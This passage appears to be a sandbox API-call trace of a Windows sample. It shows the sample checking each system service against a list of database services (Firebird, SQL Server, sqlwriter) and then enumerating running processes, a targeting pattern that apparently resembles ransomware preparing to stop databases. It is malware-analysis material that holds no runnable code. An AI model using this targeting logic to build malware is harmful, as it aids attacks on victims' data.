(lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0094.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0094.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0094.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0094.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0094.514] lstrlenW (lpString="ProfSvc") returned 7 [0094.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0094.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0094.514] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0094.514] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0094.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0094.514] lstrlenW (lpString="RpcEptMapper") returned 12 [0094.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0094.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0094.515] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0094.515] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0094.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0094.515] lstrlenW (lpString="RpcSs") returned 5 [0094.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0094.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0094.515] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0094.515] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0094.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0094.515] lstrlenW (lpString="SamSs") returned 5 [0094.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0094.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0094.515] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0094.515] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0094.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0094.515] lstrlenW (lpString="Schedule") returned 8 [0094.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0094.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0094.515] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0094.515] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0094.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0094.515] lstrlenW (lpString="SecurityHealthService") returned 21 [0094.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0094.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0094.515] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0094.515] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0094.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0094.515] lstrlenW (lpString="SENS") returned 4 [0094.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0094.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0094.515] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0094.515] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0094.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0094.515] lstrlenW (lpString="ShellHWDetection") returned 16 [0094.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0094.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0094.516] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0094.516] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0094.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0094.516] lstrlenW (lpString="Spooler") returned 7 [0094.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0094.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0094.516] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0094.516] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0094.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0094.516] lstrlenW (lpString="SSDPSRV") returned 7 [0094.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0094.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0094.516] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0094.516] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0094.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b418 | out: hHeap=0x5c0000) returned 1 [0094.516] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0094.628] Process32FirstW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0094.629] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0094.629] lstrlenW (lpString="System") returned 6 [0094.629] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0094.630] lstrlenW (lpString="smss.exe") returned 8 [0094.630] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0094.631] lstrlenW (lpString="csrss.exe") returned 9 [0094.631] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0094.631] lstrlenW (lpString="wininit.exe") returned 11 [0094.631] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0094.632] lstrlenW (lpString="csrss.exe") returned 9 [0094.632] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0094.633] lstrlenW (lpString="winlogon.exe") returned 12 [0094.633] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0094.633] lstrlenW (lpString="services.exe") returned 12 [0094.633] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0094.634] lstrlenW (lpString="lsass.exe") returned 9 [0094.634] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.635] lstrlenW (lpString="svchost.exe") returned 11 [0094.635] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0094.635] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0094.635] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0094.636] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0094.636] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.637] lstrlenW (lpString="svchost.exe") returned 11 [0094.637] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0094.637] lstrlenW (lpString="dwm.exe") returned 7 [0094.637] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5f, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.638] lstrlenW (lpString="svchost.exe") returned 11 [0094.638] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.638] lstrlenW (lpString="svchost.exe") returned 11 [0094.638] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.639] lstrlenW (lpString="svchost.exe") returned 11 [0094.639] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.640] lstrlenW (lpString="svchost.exe") returned 11 [0094.640] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.640] lstrlenW (lpString="svchost.exe") returned 11 [0094.640] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.641] lstrlenW (lpString="svchost.exe") returned 11 [0094.641] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.641] lstrlenW (lpString="svchost.exe") returned 11 [0094.641] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.642] lstrlenW (lpString="svchost.exe") returned 11 [0094.642] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.643] lstrlenW (lpString="svchost.exe") returned 11 [0094.643] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0094.643] lstrlenW (lpString="spoolsv.exe") returned 11 [0094.643] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.644] lstrlenW (lpString="svchost.exe") returned 11 [0094.644] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.644] lstrlenW (lpString="svchost.exe") returned 11 [0094.644] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0094.645] lstrlenW (lpString="audiodg.exe") returned 11 [0094.645] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0094.646] lstrlenW (lpString="sihost.exe") returned 10 [0094.646] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.647] lstrlenW (lpString="svchost.exe") returned 11 [0094.647] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0094.647] lstrlenW (lpString="taskhostw.exe") returned 13 [0094.647] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0094.648] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0094.648] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0094.649] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0094.649] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0094.649] lstrlenW (lpString="explorer.exe") returned 12 [0094.649] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0094.650] lstrlenW (lpString="Memory Compression") returned 18 [0094.650] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0094.651] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0094.651] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0094.652] lstrlenW (lpString="SearchUI.exe") returned 12 [0094.652] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0094.652] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0094.652] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0094.653] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0094.653] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0094.653] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0094.653] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0094.654] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0094.654] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0094.655] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0094.655] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0094.655] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0094.655] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0094.656] lstrlenW (lpString="conhost.exe") returned 11 [0094.656] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0094.657] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0094.657] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0094.657] lstrlenW (lpString="upper arc.exe") returned 13 [0094.657] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0094.658] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0094.658] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0094.658] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0094.658] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0094.659] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0094.659] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0094.660] lstrlenW (lpString="blademcdonald.exe") returned 17 [0094.660] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0094.660] lstrlenW (lpString="courage.exe") returned 11 [0094.660] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0094.661] lstrlenW (lpString="pearl.exe") returned 9 [0094.661] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0094.661] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0094.661] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0094.669] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0094.669] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0094.670] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0094.670] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0094.671] lstrlenW (lpString="dome.exe") returned 8 [0094.671] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0094.672] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0094.672] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0094.673] lstrlenW (lpString="paying.exe") returned 10 [0094.673] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: 